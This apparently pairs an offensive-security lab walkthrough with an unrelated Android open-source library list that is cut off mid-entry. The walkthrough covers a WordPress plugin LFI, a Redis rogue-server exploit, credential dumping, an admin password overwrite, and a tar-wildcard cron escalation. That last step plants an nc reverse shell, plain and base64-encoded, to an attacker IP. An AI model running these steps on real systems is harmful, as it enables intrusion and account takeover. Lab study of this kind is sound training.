text
stringlengths
9
334k
### wp-scan * `wpscan --url http://$IP/ --enumerate` <- Enum mode won't find any plugins by default. * `-e ap,t,tt,u` to enumerate all plugins, popular themes, timthumbs, and users * `wpscan --url http://$IP/ --api-token <SNIP>` ```bash [i] Plugin(s) Identified: [+] site-editor | Location: http://192.168.200.166/wp-content/plugins/site-editor/ | Latest Version: 1.1.1 (up to date) | Last Updated: 2017-05-02T23:34:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | [!] 1 vulnerability identified: | | [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI) | References: | - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422 | - https://seclists.org/fulldisclosure/2018/Mar/40 | - https://github.com/SiteEditor/editor/issues/2 | | Version: 1.1.1 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://192.168.200.166/wp-content/plugins/site-editor/readme.txt ``` * http://192.168.200.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd * http://192.168.200.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis * .conf * /redis.conf <- It works https://redis.io/docs/manual/config/ ```creds requirepass "hello world" Ready4Redis? ``` ```bash redis-cli -h $IP -a Ready4Redis? ``` * https://github.com/A1vinSmith/redis-rogue-getshell * https://github.com/A1vinSmith/redis-rogue-server ```bash python3 redis-rogue-server.py --rhost 192.168.200.166 --rport 6379 --lhost 192.168.49.200 --lport 6379 --auth "Ready4Redis?" ``` ### Foothold ```bash cat /etc/passwd | grep -i 'bash' root:x:0:0:root:/root:/bin/bash alice:x:1000:1000::/home/alice:/bin/bash find / -user alice 2>/dev/null grep --color=auto -rnw '/var/www/html/' -ie "PASSWORD=" --color=always 2>/dev/null grep --color=auto -rnw '/var/www/html/' -ie "PASSWORD" --color=always 2>/dev/null find / -user alice -not -path "/var/www/html/*" 2>/dev/null ``` wp-config.php ``` /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'karl' ); /** MySQL database password */ define( 'DB_PASSWORD', 'Wordpress1234' ); ``` ```MariaDB [wordpress]> select * from wp_users; select * from wp_users; +----+------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+--------------+ | 1 | admin | $P$Ba5uoSB5xsqZ5GFIbBnOkXA0ahSJnb0 | admin | [email protected] | http://localhost | 2021-07-11 16:35:27 | | 0 | admin | +----+------------+------------------------------------+---------------+---------------+------------------+---------------------+---------------------+-------------+--------------+ ``` ### Lateral Movement Update the password for that. ``` UPDATE wp_users SET user_pass=MD5('alvin') WHERE ID = 1; ``` admin:alvin -> wordpress 404 to get in. ### Root Obviously `tar` wildcard with `/etc/crontab` ```bash port 4242 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.200 4242 >/tmp/f" > shell.sh touch "/var/www/html/--checkpoint-action=exec=sh shell.sh" touch /var/www/html/--checkpoint=1 ``` ```bash port 80 echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTkyLjE2OC40OS4yMDAgODAgPi90bXAvZg== | base64 -d > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1 ``` Both worked.
Android Open Source Projects [https://codekk.com](https://p.codekk.com/) for more ==================== Welcome to recommend good android open source projects, you can [Commit](https://github.com/Trinea/android-open-project/wiki/Standard-of-adding-and-editing-content "Standard of adding and editing content") directly or tell me at [Colloct Page](https://github.com/Trinea/android-open-project/issues/1). Welcome `Star` and `Fork` ### Dev Tools App The Dev Tools App is a powerful android development tool that can help you improve efficiency greatly, It can be used to view the latest open source projects, view activity history, view manifest, decompile, color picker, extract apk or so, view app info, open or close the options in the developer options quickly, and more. You can download it from **[DevTools@Google Play](https://play.google.com/store/apps/details?id=cn.trinea.android.developertools)**. ![](https://lh3.googleusercontent.com/ERb20Y50r3u_tZMMlqpH5cnS_MC_n366WoKvEjJyFfHz6d-EwvhaEUf7ZKAgRajboTWR=w720-h440-rw) Twitter:[trinea_cn](https://twitter.com/trinea_cn)&nbsp;&nbsp;&nbsp;&nbsp;HomePage: [codekk.com](https://codekk.com/)&nbsp;&nbsp;&nbsp;&nbsp;Email:[[email protected]](mailto:[email protected]) Share:<a href="https://twitter.com/intent/tweet?text=Android Open Source Projects include Personalized Views, Common Util Libs, Excellent projects and so on %40trinea_cn+https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&pic=" target="_blank" title="Share on twitter" style="width:100%"><img src="http://farm4.staticflickr.com/3764/13104038813_03933d4394_o.png"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&t=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86200%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&pic" target="_blank" title="Share on facebook" style="width:100%"><img src="http://farm4.staticflickr.com/3801/13104038583_b03d5cafac_o.png"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://service.weibo.com/share/share.php?url=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&title=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86200%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&appkey=1657413438&searchPic=true" target="_blank" title="Shared on weibo" style="width:100%"><img src="http://farm8.staticflickr.com/7342/13103239365_e5cd37fbac_o.png" title="Shared on weibo"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&title=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86200%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&desc=&summary=&site=www.trinea.cn" target="_blank" title="Share on qzone" style="width:100%"><img src="http://farm8.staticflickr.com/7418/13103935825_209bd521f0_o.jpg"/></a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://share.v.t.qq.com/index.php?c=share&a=index&url=https%3A%2F%2Fgithub.com%2FTrinea%2Fandroid-open-project&title=Android%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E5%88%86%E7%B1%BB%E6%B1%87%E6%80%BB%EF%BC%8C%E6%B1%87%E9%9B%86200%E5%A4%9A%E4%B8%AA%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%EF%BC%8C%E5%8C%85%E6%8B%AC%E4%B8%AA%E6%80%A7%E5%8C%96%E6%8E%A7%E4%BB%B6%E3%80%81%E5%B7%A5%E5%85%B7%E5%BA%93%E3%80%81%E4%BC%98%E7%A7%80%E9%A1%B9%E7%9B%AE%E3%80%81%E5%BC%80%E5%8F%91%E5%8F%8A%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7%E3%80%81%E4%BC%98%E7%A7%80%E4%B8%AA%E4%BA%BA%E5%92%8C%E5%9B%A2%E4%BD%93%40Trinea+&appkey=801404464" target="_blank" title="Shared on tecent weibo" style="width:100%"><img src="http://farm8.staticflickr.com/7452/13104204564_f867971a13_o.png"/></a> ### Include: >[1. Personalized Views](#1-personalized-views ) *&nbsp;&nbsp; include [ListView](#1-listview), [ActionBar](#2-actionbar), [Menu](#3-menu), [ViewPager](#4-viewpager-gallery), [Gallery](#5-gridview), [ImageView](#6-imageview), [ProgressBar](#7-progressbar), [TextView](#8-textview), ScrollView, TimeView, TipView, FlipView, ColorPickView, GraphView, UI Style, [Others](#9-others)* [2. Common Util Libs](#2-common-util-libs) *&nbsp;&nbsp;include [Dependency Injection](#1-dependency-injection), [ImageCache](#2-image-cache), [Network](#3-network), [Database ORM](#4-database), [Android common lib](#5-android-common-lib), [Compatible low version](#6-android-compatible-low-version), [Multimedia](#7-multimedia), [Event Bus](#8-event-bus), [Sensor](#9-sensor), [Security](#10-security), [Maps](#11-maps), Plug-in, File, [Others](#12-others)* [3. Excellent projects](#3-excellent-projects) *&nbsp;&nbsp;more interesting android project* [4. Development and testing tools](#4-development-and-testing-tools) *&nbsp;&nbsp;include [Development productivity tools](https://github.com/Trinea/android-open-project/tree/master/English%20Version#first-development-productivity-tools), [Develop self-test related](https://github.com/Trinea/android-open-project/tree/master/English%20Version#second-develop-self-test-related), [Testing tools](https://github.com/Trinea/android-open-project/tree/master/English%20Version#third-testing-tools), [Development and build environment](https://github.com/Trinea/android-open-project/tree/master/English%20Version#fourth-development-and-build-environment), [Others](https://github.com/Trinea/android-open-project/tree/master/English%20Version#fifth-others)* [5. Outstanding individuals and groups](#4-outstanding-individuals-and-groups) *&nbsp;&nbsp;Willing to share and have some very good open source project [Individual](https://github.com/Trinea/android-open-project/tree/master/English%20Version#first-individual) and [Group](https://github.com/Trinea/android-open-project/tree/master/English%20Version#second-group),include JakeWharton, Chris Banes, Koushik Dutta and so on* *Thank [likebamoo](https://github.com/likebamboo) [vmlinz](https://github.com/vmlinz) [xalexchen](https://github.com/xalexchen) [youxiachai](https://github.com/youxiachai) [stormzhang](https://github.com/stormzhang)* ## 1. Personalized Views Customed View. include ListView, ActionBar, Menu, ViewPager, Gallery, GridView, ImageView, ProgressBar, Dialog, Toast, EditText, TableView, Activity Animation and so on。 #### 1. ListView 1. android-pulltorefresh Provide a reusable Pull to Refresh widget for Android, support ListView, ExpandableListView, GridView, WebView, ScrollView, HorizontalScrollView, ViewPager, support pulling Down from the top, and Pulling Up from the bottom and so on. Project Address: https://github.com/chrisbanes/Android-PullToRefresh Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/pull-to-refreshview-demo.apk?raw=true Similar App: Sina Weibo Pages 1. android-pulltorefresh-listview Pull to refresh listView for android, There is some bug for this Project Address: https://github.com/johannilsson/android-pulltorefresh Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/pull-to-refresh-listview-demo.apk?raw=true 1. android-Ultra-Pull-to-Refresh It's a replacement for the deprecated pull to refresh solution. It can contain any view you want. It's easy to use and more powerful than SwipeRefreshLayout. It's well designed, you can customize the UI effect you want as easy as adding a headview to ListView. Support `API LEVEL >= 8` Project Address: https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh Demo Apk: https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh/blob/master/ptr-demo/target/ultra-ptr-demo.apk?raw=true <div> <img src='http://srain-github.qiniudn.com/ultra-ptr/contains-all-of-views.gif' width="150px"/> <img src='http://srain-github.qiniudn.com/ultra-ptr/release-to-refresh.gif' width="150px"/> <img src='http://srain-github.qiniudn.com/ultra-ptr/auto-refresh.gif' width="150px"/> <img src='http://srain-github.qiniudn.com/ultra-ptr/store-house-string-array.gif' width="150px"/> </div> 1. DropDownListView Pull to refresh and load more when on bottom listView for android Project Address: https://github.com/Trinea/AndroidCommon Demo Apk: https://play.google.com/store/apps/details?id=cn.trinea.android.demo Document: https://www.trinea.cn/android/dropdown-to-refresh-and-bottom-load-more-listview/ 1. DragSortListView Android ListView with drag and drop reordering. Project Address: https://github.com/bauerca/drag-sort-listview Demo Apk: https://play.google.com/store/apps/details?id=com.mobeta.android.demodslv Similar App: Wordpress Android 1. SwipeListView An Android List View implementation with support for drawable cells and many other swipe related features Project Address: https://github.com/47deg/android-swipelistview Demo Apk: https://play.google.com/store/apps/details?id=com.fortysevendeg.android.swipelistview Similar App: 微信 1. SlideAndDragListView An extension of the Android ListView that enables slide and drag-and-drop reordering of list items. Project Address: https://github.com/yydcdut/SlideAndDragListView Demo Apk: https://github.com/yydcdut/SlideAndDragListView/blob/master/apk/sdlv.apk?raw=true Similar App: Android 手机QQ 5.0 Renderings: ![Renderings](https://raw.githubusercontent.com/yydcdut/SlideAndDragListView/master/gif/v1.1.gif) 1. RecyclerViewSwipeDismiss lightweight support-v7 RecyclerView Swipe to dismiss library,Just bind `onTouchListener` Project Address:https://github.com/CodeFalling/RecyclerViewSwipeDismiss Renderings: ![Renderings](http://i2.tietuku.com/a5a1a6fbd300397a.gif) 1. Android-SwipeToDismiss Android swipe to dismiss listView Project Address: https://github.com/romannurik/Android-SwipeToDismiss Demo Apk: https://github.com/JakeWharton/SwipeToDismissNOA/SwipeToDismissNOA.apk/qr_code 1. StickyListHeaders An android library for section headers of listView that stick to the top Project Address: https://github.com/emilsjolander/StickyListHeaders Similar App: Contacts app of Android 4.0 Ice Cream Sandwich Renderings: ![Renderings](https://raw.github.com/emilsjolander/StickyListHeaders/master/demo.gif) 1. pinned-section-listview Easy to use ListView with pinned sections for Android. Pinned section is a header view which sticks to the top of the list until at least one item of that section is visible. Project Address: https://github.com/beworker/pinned-section-listview Renderings: ![Renderings](https://raw.github.com/beworker/pinned-section-listview/master/screen1.png) 1. PinnedHeaderListView A ListView with pinned section headers for Android Project Address: https://github.com/JimiSmith/PinnedHeaderListView 1. QuickReturnHeader A ListView/ScrollView header that hides when scrolling down and reappears immediately when scrolling up, regardless of how far down the list we've gone. Project Address: https://github.com/ManuelPeinado/QuickReturnHeader Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/quick-return-header-demo.apk?raw=true Similar App: google plus 1. IndexableListView iPhone like fast scroll ListView on Android with non-alphabetic overlays Project Address: https://github.com/woozzu/IndexableListView Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/indexable-listview.apk?raw=true Similar App: Weichat contact 1. CustomFastScrollView A FastScrollView with non-alphabetic overlays Project Address: https://github.com/nolanlawson/CustomFastScrollViewDemo Renderings: ![Renderings](https://raw.github.com/nolanlawson/CustomFastScrollViewDemo/master/example.png) 1. Android-ScrollBarPanel Android-ScrollBarPanel allows to attach a View to a scroll indicator like it's done in Path 2.0 Project Address: https://github.com/rno/Android-ScrollBarPanel Renderings: ![Renderings](https://github.com/rno/Android-ScrollBarPanel/raw/master/demo_capture.png) 1. SlideExpandableListView A better ExpandableListView, with animated expandable views for each list item Project Address: https://github.com/tjerkw/Android-SlideExpandableListView Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/slide-expandable-listView-demo.apk?raw=true 1. JazzyListView JazzyListView is an extension of ListView designed to animate list item views as they become visible. There are a number of pre-built, bundled effects that can be used by setting the effect in code or an XML layout attribute, like grow, cards, curl, wave, flip, fly. Also, it is possible to use a custom effect by implementing a JazzyEffect. Project Address: https://github.com/twotoasters/JazzyListView Demo Apk: https://play.google.com/store/apps/details?id=com.twotoasters.jazzylistview.sample 1. ListViewAnimations An Android library which allows developers to easily add animations to ListView items Project Address: https://github.com/nhaarman/ListViewAnimations Demo Apk: https://play.google.com/store/apps/details?id=com.haarman.listviewanimations Similar App: Google plus, Google Now, Ultimate, Light Flow Lite, TreinVerkeer, Running Coach, Pearl Jam Lyrics, Calorie Chart, Car Hire, Super BART, DK FlashCards, Counter Plus, Voorlees Verhaaltjes 2.0 1. DevsmartLib-Android A Horizontal ListView for Android Project Address: https://github.com/dinocore1/DevsmartLib-Android Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/horizontal-listview-demo.apk?raw=true 1. HorizontalVariableListView Horizontal list view for Android which allows variable items widths Project Address: https://github.com/sephiroth74/HorizontalVariableListView 1. LinearListView Android library that allows you to bind a LinearLayout with a ListAdapter. Project Address: https://github.com/frankiesardo/LinearListView 1. MultiChoiceAdapter A ListView adapter with support for multiple choice modal selection Project Address: https://github.com/ManuelPeinado/MultiChoiceAdapter Demo Apk: https://play.google.com/store/apps/details?id=com.manuelpeinado.multichoiceadapter.demo 1. EnhancedListView An Android ListView with enhanced functionality (e.g. Swipe To Dismiss and Undo) Project Address: https://github.com/timroes/EnhancedListView Demo Apk: https://play.google.com/store/apps/details?id=de.timroes.android.listviewdemo&rdid=de.timroes.android.listviewdemo 1. ListBuddies Android library of a pair of auto-scroll circular parallax ListViews like the ones on the expedia app home page. Project Address: https://github.com/jpardogo/ListBuddies Demo Apk: https://play.google.com/store/apps/details?id=com.jpardogo.android.listbuddies Renderings: ![Renderings](https://raw.github.com/jpardogo/ListBuddies/master/art/screenshot_listbuddies_2.png) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. RecyclerItemDecoration RecyclerItemDecoration allows you to draw divider between items in recyclerview with multiple ViewType without considering items' positions! You don't need to think about items' position! You need to care about their ViewType!! Project Address: https://github.com/magiepooh/RecyclerItemDecoration Renderings: ![Renderings:](https://raw.githubusercontent.com/magiepooh/RecyclerItemDecoration/master/art/demo_vertical.gif) ![Renderings:](https://raw.githubusercontent.com/magiepooh/RecyclerItemDecoration/master/art/demo_horizontal.gif) #### 2. ActionBar 1. ActionBarSherlock Action bar implementation which uses the native action bar on Android 4.0+ and a custom implementation on pre-4.0 through a single API and theme. Project Address: https://github.com/JakeWharton/ActionBarSherlock Demo Apk: https://play.google.com/store/apps/details?id=com.actionbarsherlock.sample.demos 1. ActionBar-PullToRefresh ActionBar-PullToRefresh provides an easy way to add a modern version of the pull-to-refresh interaction to your application. Project Address: https://github.com/chrisbanes/ActionBar-PullToRefresh Demo Apk: https://play.google.com/store/apps/details?id=uk.co.senab.actionbarpulltorefresh.samples.stock Similar App: Gmail,Google plus 1. FadingActionBar Android library implementing a fading effect for the action bar, similar to the one found in the Play Music app Project Address: https://github.com/ManuelPeinado/FadingActionBar Demo Apk: https://play.google.com/store/apps/details?id=com.manuelpeinado.fadingactionbar.demo Similar App: google music 1. NotBoringActionBar Auto dismis actionbar when content scroll down Project Address: https://github.com/flavienlaurent/NotBoringActionBar Demo Apk: http://flavienlaurent.com/blog/2013/11/20/making-your-action-bar-not-boring/ Similar App: google music 1. RefreshActionItem An action bar item which acts both as a refresh button and as a progress indicator Project Address: https://github.com/ManuelPeinado/RefreshActionItem Demo Apk: https://play.google.com/store/apps/details?id=com.manuelpeinado.refreshactionitem.demo Similar App: The New York Times,DevAppsDirect. 1. GlassActionBar An Android library which implements a glass-like effect for the action bar Project Address: https://github.com/ManuelPeinado/GlassActionBar Demo Apk: https://play.google.com/store/apps/details?id=com.manuelpeinado.glassactionbardemo Similar App: google music <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 3. Menu 1. MenuDrawer A slide-out menu implementation, which allows users to navigate between views in your app. Most commonly the menu is revealed by either dragging the edge of the screen, or clicking the 'up' button in the action bar. It support content below or up to menu when compare to SlidingMenu. Project Address: https://github.com/SimonVT/android-menudrawer Demo Apk: http://simonvt.github.io/android-menudrawer/ Similar App: Gmail, Google Music 1. SlidingMenu An Android library that allows you to easily create applications with slide-in menus. It support animation when compare to MenuDrawer. Project Address: https://github.com/jfeinstein10/SlidingMenu Demo Apk: https://play.google.com/store/apps/details?id=com.slidingmenu.example Similar App: Foursquare, LinkedIn, Zappos, Rdio, Evernote Food, Plume, VLC for Android, ESPN ScoreCenter, MLS MatchDay, 9GAG, Wunderlist 2, The Verge, MTG Familiar, Mantano Reader, Falcon Pro (BETA), MW3 Barracks 1. ArcMenu An android custom view which looks like the menu in Path 2.0 for iOS. Project Address: https://github.com/daCapricorn/ArcMenu Similar App: Path Renderings: ![Renderings](https://dl.dropboxusercontent.com/u/11369687/preview0.png) 1. android-satellite-menu Android Satellite Menu Project Address: https://github.com/siyamed/android-satellite-menu Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/satellite-menu-demo.apk?raw=true Similar App: Path 1. radial-menu-widget A radial (pie) menu for Android Project Address: https://code.google.com/p/radial-menu-widget/ Renderings: http://farm8.staticflickr.com/7377/11621125154_d1773c2dcc_o.jpg 1. Android Wheel Menu Circular menu widget for Android. Project Address: https://github.com/anupcowkur/Android-Wheel-Menu Renderings: ![Renderings](https://raw.github.com/anupcowkur/Android-Wheel-Menu/master/graphics/wheel.gif) 1. FoldingNavigationDrawer Folding navigation drawer for android. Project Address: https://github.com/tibi1712/FoldingNavigationDrawer-Android Demo Apk: https://play.google.com/store/apps/details?id=com.ptr.folding.sample Renderings: ![Renderings](https://lh6.ggpht.com/VnKUZenAozQ0KFAm5blFTGqMaKFjvX-BK2JH-jrX1sIXVTqciACqRhqFH48hc4pm2Q=h310-rw) 1. AndroidResideMenu The idea of ResideMenu is from Dribbble 1 and 2 likes iOS ResideMenu Project Address: https://github.com/SpecialCyCi/AndroidResideMenu Renderings: ![Renderings](https://github.com/SpecialCyCi/AndroidResideMenu/raw/master/2.gif) 1. FloatingActionMenu-Animation Extended FloatingActionMenu lib, with custom menu icon, animation when scrolling Project Address: https://github.com/toanvc/FloatingActionMenu-Animation Renderings: ![Renderings](https://github.com/toanvc/FloatingActionMenu-Animation/raw/master/screenshots/scale.gif) <a href="https://github.com/Trinea/android-open-project/edit/master/English%20Version/README.md#include" title="Back to directory" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> #### 4. ViewPager Gallery 1. Android-ViewPagerIndicator Paging indicator widgets compatible with the ViewPager from the Android Support Library and ActionBarSherlock. Originally based on Patrik Åkerfeldt's ViewFlow. Project Address: https://github.com/JakeWharton/Android-ViewPagerIndicator Demo Apk: https://play.google.com/store/apps/details?id=com.viewpagerindicator.sample 1. JazzyViewPager An easy to use ViewPager that adds an awesome set of custom swiping animations. Just change your ViewPagers to JazzyViewPagers and you're good to go! Project Address: https://github.com/jfeinstein10/JazzyViewPager Demo Apk: https://github.com/jfeinstein10/JazzyViewPager/blob/master/JazzyViewPager.apk?raw=true 1. Android-DirectionalViewPager ViewPager class that supports paging both vertically and horizontally as well as changing between the two at runtime. Project Address: https://github.com/JakeWharton/Android-DirectionalViewPager Demo Apk: https://market.android.com/details?id=com.directionalviewpager.sample 1. android-pulltorefresh Provide a reusable Pull to Refresh widget for Android, support ListView, ExpandableListView, GridView, WebView, ScrollView, HorizontalScrollView, ViewPager, support pulling Down from the top, and Pulling Up from the bottom and so on. Project Address: https://github.com/chrisbanes/Android-PullToRefresh Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/pull-to-refreshview-demo.apk?raw=true 1. FancyCoverFlow FancyCoverFlow is a flexible Android widget providing out of the box view transformations to give your app a unique look and feel. Project Address: https://github.com/davidschreiber/FancyCoverFlow Demo Apk: https://play.google.com/store/apps/details?id=at.technikum.mti.fancycoverflow.samples Renderings: ![Renderings](https://github-camo.global.ssl.fastly.net/ef5ced52b7b54652b50499521ed797c0188c7a6b/687474703a2f2f64617669647363687265696265722e6769746875622e696f2f46616e6379436f766572466c6f772f73637265656e73686f74322e706e67) 1. AndroidTouchGallery Android widget for gallery, using viewpager. Allow pinch zoom and drag for images by url. Widget allows use it in Android > 2.0 Project Address: https://github.com/Dreddik/AndroidTouchGallery Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/touch-gallery-demo.apk?raw=true 1. Android Auto Scroll ViewPager Android Auto scroll ViewPager or ViewPager in ViewPager Project Address: https://github.com/Trinea/android-auto-scroll-view-pager Demo Apk: https://play.google.com/store/apps/details?id=cn.trinea.android.demo Document: https://www.trinea.cn/android/auto-scroll-view-pager/ 1. Salvage view Generic view recycler and ViewPager PagerAdapter implementation. Project Address: https://github.com/JakeWharton/salvage 1. Android PagerSlidingTabStrip An interactive indicator to navigate between the different pages of a ViewPager Project Address: https://github.com/astuetz/PagerSlidingTabStrip Demo Apk: https://play.google.com/store/apps/details?id=com.astuetz.viewpager.extensions.sample 1. SmartTabLayout A custom ViewPager title strip which gives continuous feedback to the user when scrolling.This library has been added some features and utilities based on android-SlidingTabBasic project of Google Samples. Project Address: https://github.com/ogaclejapan/SmartTabLayout Demo Apk: https://play.google.com/store/apps/details?id=com.ogaclejapan.smarttablayout.demo Renderings: ![Renderings](https://raw.githubusercontent.com/ogaclejapan/SmartTabLayout/master/art/demo1.gif) 1. ViewPager3D A ViewPager with 3D effect Project Address: https://github.com/inovex/ViewPager3D 1. AnimaTabsview A animation effect like 网易云音乐 Project Address: https://github.com/wuyexiong/transparent-over-animtabsview Demo: http://v.youku.com/v_show/id_XNzA4MjY5NjA0.html 1. LoopingViewPager A ViewPager which support loop scroll Project Address: https://github.com/imbryk/LoopingViewPager 1. android_page_curl Paging effect of iReader Project Address: https://github.com/harism/android_page_curl Demo App:iReader Demo: https://www.youtube.com/watch?v=iwu7P5PCpsw 1. ViewPagerIndicator A custom ViewPagerIndicator Project Address: https://github.com/LuckyJayce/ViewPagerIndicator <a href="https://github.com/Trinea/android-open-project#%E7%9B%AE%E5%89%8D%E5%8C%85%E6%8B%AC" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. ScreenSlideIndicator Lightweight ViewPager Cycle Indicadtor Project Address: [ScreenSlidePager](https://github.com/LyndonChin/Android-ScreenSlidePager) Renderings: ![](https://raw.githubusercontent.com/LyndonChin/Android-ScreenSlidePager/master/screenslidepager.gif) 1. ViewPager3D A ViewPager with 3D effect Project Address: https://github.com/inovex/ViewPager3D 1. AnimaTabsview A animation effect like 网易云音乐 Project Address: https://github.com/wuyexiong/transparent-over-animtabsview Demo: http://v.youku.com/v_show/id_XNzA4MjY5NjA0.html 1. LoopingViewPager A ViewPager which support loop scroll Project Address: https://github.com/imbryk/LoopingViewPager 1. android_page_curl Paging effect of iReader Project Address: https://github.com/harism/android_page_curl Demo App: iReader Demo: https://www.youtube.com/watch?v=iwu7P5PCpsw 1. ViewPagerIndicator A custom ViewPagerIndicator Project Address: https://github.com/LuckyJayce/ViewPagerIndicator 1. ScreenSlideIndicator Lightweight ViewPager Cycle Indicadtor Project Address: [ScreenSlidePager](https://github.com/LyndonChin/Android-ScreenSlidePager) Renderings: ![](https://raw.githubusercontent.com/LyndonChin/Android-ScreenSlidePager/master/screenslidepager.gif) 1. RecyclerViewPager A ViewPager implemention inherits from RecyclerView. Support fling operation like gallary and custom fling speed. Support Fragment. Project Address: [RecyclerViewPager](https://github.com/lsjwzh/RecyclerViewPager) Renderings: ![](https://github.com/lsjwzh/RecyclerViewPager/blob/master/fragment.gif) <a href="https://github.com/Trinea/android-open-project#%E7%9B%AE%E5%89%8D%E5%8C%85%E6%8B%AC" style="width:100%"><img src="http://farm4.staticflickr.com/3737/12167413134_edcff68e22_o.png" align="right"/></a> 1. WoWoViewPager A material design Viewpager.Optimized for scrolling app intros or making your CV app. Free and open source. WoWoViewPager combines animations and viewpager. When you are swiping viewpager, you are also controlling the frames of the animation. Just like rewinding time. Project Address: [WoWoViewPager](https://github.com/Nightonke/WoWoViewPager) Renderings: ![](https://github.com/Nightonke/WoWoViewPager/blob/master/Pictures/AppIntroExample.gif) #### 5. GridView 1. StaggeredGridView A modified version of Android's experimental StaggeredGridView. Includes own OnItemClickListener and OnItemLongClickListener, selector, and fixed position restore. contains cache, extends from ViewGroup Project Address: https://github.com/maurycyw/StaggeredGridView Demo Apk: https://github.com/Trinea/TrineaDownload/blob/master/staggered-gridview-demo.apk?raw=true Similar App: Pinterest 1. AndroidStaggeredGrid An Android staggered grid view which supports multiple columns with rows of varying sizes. extends from AbsListView Project Address: 